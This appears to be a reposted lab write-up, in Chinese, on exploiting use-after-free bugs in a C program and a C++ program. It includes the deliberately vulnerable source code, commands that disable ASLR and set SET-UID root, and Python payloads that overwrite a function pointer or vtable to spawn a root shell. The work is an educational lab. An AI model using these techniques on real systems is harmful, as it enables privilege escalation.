软件安全实验——lab12(UAF(Use after free):C++野指针利用)
Posted 大灬白
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了软件安全实验——lab12(UAF(Use after free):C++野指针利用)相关的知识,希望对你有一定的参考价值。
目录标题
Task1:针对UAF.c的攻击
源代码:
#include <stdio.h>
typedef struct s{
int id;
char name[20];
void (*clean)(void *); //定义空函数指针
}VULNSTRUCT;
/*释放mem指向的内存*/
void *cleanMemory(void *mem){
free(mem);
}
int main(int argc, char *argv[]){
//定义空变量指针
void *ptr1;
//定义结构体指针,并分配256字节内存
VULNSTRUCT *vuln=malloc(256);
//清空输入流缓冲区
fflush(stdin);
printf("Enter id num: ");
scanf("%d", &vuln->id);
printf("Enter your name: ");
scanf("%s", vuln->name);
//把cleanMemory函数的函数指针,赋值给vuln->clean函数指针
vuln->clean = cleanMemory;
//上面输入的id大于100,就释放vuln的内存
if(vuln->id>100){
vuln->clean(vuln);
}
//之后重新申请分配大小相同的内存,ptr1申请的地址(变量指针)就是刚刚释放的vuln的地址(结构体指针)
ptr1 = malloc(256);
//字符串复制,可以在这传入shellcode到申请的内存地址
strcpy(ptr1, argv[1]);
//释放了ptr1指针
free(ptr1);
//再次释放vuln的内存,函数指针vuln->clean在这执行vuln上的shellcode
vuln->clean(vuln);
return 0;
}
实验原理:
1、free()函数的作用是对动态分配的内存进行释放,这也就意味着当使用free函数释放一个指针时,只是把这个指针的值释放,而指针所指向的内存上的值是不会处理的。所以在这个程序中free释放结构体指针vuln时,只会释放这个结构体指针vuln指向的值(找不到vuln->id,vuln->name的值),而不会对clean指针及其指向的内存进行清理(vuln->clean指针的值不变,其指向的内存地址上的值也不变)。
2、当我们输入id大于100时,程序会free释放给vuln分配的内存,之后程序又申请了大小相同的一块内存ptrl,操作系统会将刚刚free掉的内存再次分配,所以vuln(结构体指针)和ptr1(变量)指向同一个内存单元。
3、接下来执行strcpy(ptr1, argv[1]),把输入的argv[1]字符串复制到ptrl和vuln指向的地址。然后free释放给ptrl变量指针分配的内存,再调用函数指针vuln->clean去再次释放vuln的值,但此时vuln已经指向了我们输入的shellcode,就会执行shellcode,让我们获得root权限。
(1)环境准备工作
关掉地址随机化
sysctl -w kernel.randomize_va_space=0
以可执行栈的选项编译漏洞程序,因为需要在栈中执行我们输入的shellcode:
gcc -o uaf -z execstack uaf.c
并给uaf设置SET-UID权限。
chmod 4755 uaf
(2)获得shellcode在环境变量中的地址
将shellcode放入环境变量
编译got.c(用于取得环境变量地址的程序),运行得到EGG的地址0xbffff5bb:
(3)攻击
构造argv[1]为shellcode在环境变量中的地址,进行攻击
./uaf $(python -c "print '\\x90'*24 + '\\xbb\\xf5\\xff\\xbf'")
24个’\\x90’用于覆盖id和name(id是int型,在gcc编译是占4个字节;name是一个长为20字节的字符数组)
Task2: 针对uaf2.cpp的攻击
源代码:
#include <fcntl.h>
#include <iostream>
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;
class Human{
private:
virtual void give_shell(){
system("/bin/sh");
}
protected:
int age;
string name;
public:
virtual void introduce(){
cout << "My name is " << name << endl;
cout << "I am " << age << " years old" << endl;
}
};
class Man: public Human{
public:
Man(string name, int age){
this->name = name;
this->age = age;
}
//重写继承的父类的函数
virtual void introduce(){
Human::introduce();
cout << "I am a nice guy!" << endl;
}
};
class Woman: public Human{
public:
Woman(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a cute girl!" << endl;
}
};
int main(int argc, char* argv[]){
//上转型对象
Human* m = new Man("Jack", 25);
Human* w = new Woman("Jill", 21);
//字节型变量
size_t len;
//字符指针
char* data;
//输入数字选择功能
unsigned int op;
while(1){
cout << "1. use\\n2. after\\n3. free\\n";
cin >> op;
switch(op){
case 1:
m->introduce();
w->introduce();
break;
case 2:
//输入的第二个字符转换成数字,作为申请的内存长度
len = atoi(argv[1]);
//new运算符分配动态内存
data = new char[len];
//打开输入的第二个参数指向的文件,将其内容写入data指针指向的内存
read(open(argv[2], O_RDONLY), data, len);
cout << "your data is allocated" << endl;
break;
case 3:
//释放m、w的内存
delete m;
//之后分配的时候先分配w的内存
delete w;
break;
default:
break;
}
}
return 0;
}
实验原理:
1、delete m;delete w;只是将m,w的值释放,让我们无法使用m,w的值;但是m,w的虚表指针指向的地址上的值并没有释放(m->age、m->name、w->age、w->name、m->introduce()、w->introduce()的值依旧存在)。
另外data = new char[len]动态分配了一个数组,需要使用delete[] data释放,不能用delete data的方式释放,否则编译时没有问题,运行时也一般不会发生错误,但实际上会导致动态分配的数组没有被完全释放。
2、对象m和v的内存布局中,首先是该类的vtable虚表指针,然后才是对象数据。比如introduce()函数记录在数组的第二个元素,当一个该类的对象实例调用introduce()函数时就根据对应关系把第二个函数指针取出来,再去执行该函数,这种行为叫晚绑定,也就是说在运行时才知道调用的函数是什么样子的,而不是在编译阶段就确定的早绑定。
3、vtable虚表指针的值指向类的虚函数表,give_shell函数是虚函数表第一项,就是* vtable指向的地址;introduce函数是虚函数表第二项,即*(vtable+4)所指向的地址。又知道在虚表中give_shell函数的位置等于introduce函数位置 - 4。意思是假如我们先把vtable的值覆盖为vtable - 4,那么再执行introduce函数时就相当于执行give_shell函数。
4、所以我们的利用思路就是,先调用case 3功能,把m,w这两个指针的值释放;然后再调用两次case 2功能,申请分配内存,大小适当时,会把刚才释放的m,w指向的内存分配给data,之后我们就可以通过read(open(argv[2], O_RDONLY), data, len)把输入文件的内容(give_shell()的地址)写到data指向的地址,也就是之前释放的m、w的地址;最后调用case 1,我们就可以运行m->introduce(); w->introduce();从而运行give_shell()函数。
(1)编译程序
以g++ -g格式编译漏洞程序uaf2.cpp,
sudo g++ -g -o uaf2 uaf2.cpp
并SET-UID
sudo chmod 4755 uaf2
(2)找到m变量的地址
利用GDB找到m的地址:进入gdb,在第48行(Human* m = new Man(“Jack”, 25);)处设置断点:
b 48
接着运行r,会停在上面设的断点处
然后单步调试s直到出现this,This的值即为m的地址(this作用域是在类内部,当在类的非静态成员函数中访问类的非静态成员的时候,编译器会自动将对象本身的地址作为一个隐含参数this传递给函数):
m对象的虚表指针的地址(0x0804c020)
在main函数中,在生成Man类的时候下断点也是一样的
disas main
b * 0x08048b88
正如我们前面在原理中说的,m对象的内存首先是虚表指针0x0804c020(%esp),然后才是name(0x4(%esp))、age(0x8(%esp)),
(3)找到虚函数表
接着单步调试,直到m完成构造的一系列操作。
查看m(即0x804c020)的内容。
(4)查看虚函数表的内容
查看虚函数表(即0x08049170)的内容。
指令为:x/30a 0x08049170,a是gdb中 address选项的缩写,这样可以将输出作为内存地址显示每一项对应的虚函数,30表示输出30个地址:
可以看出give_shell就在introduce的前四个字节处。因此只要将虚表地址改为0x0804916c(即0x08049170减4),就可以使得程序调用introduce函数时就会执行give_shell函数。
(5)攻击
构造badfile文件,进行攻击。
(python -c "print '\\x6c\\x91\\x04\\x08'") > badfile
第一个参数申请的内存长度只要大于等于4就行。
注意要free之后需要调用两次after,因为第一次覆盖的是w的虚表指针w->introduce(),第二次才是m的虚表指针m->introduce()。
同样的也可以把m、w的虚表指针,w->introduce()、m->introduce()改为w的give_shell函数的地址0x0804915c,方法类似。
题外话:只after一次,就会出现段错误
如果只after一次,就会出现段错误。
调试错误的过程如下,输入参数调试run 4 badfile:
先3.free一次,再2.after,最后1.use,我们在m->introduce()处设了断点:
可以看到,此时m的值被detele之后已经为0,w的值是因为进行了一次after重新分配给了data之后,又重新写入了我们事先构造的badfeil的内容0x0804916c。
所以此时再继续运行,m->introduce();因为指向的地址是00000000,所以就会出现段错误:
以上是关于软件安全实验——lab12(UAF(Use after free):C++野指针利用)的主要内容,如果未能解决你的问题,请参考以下文章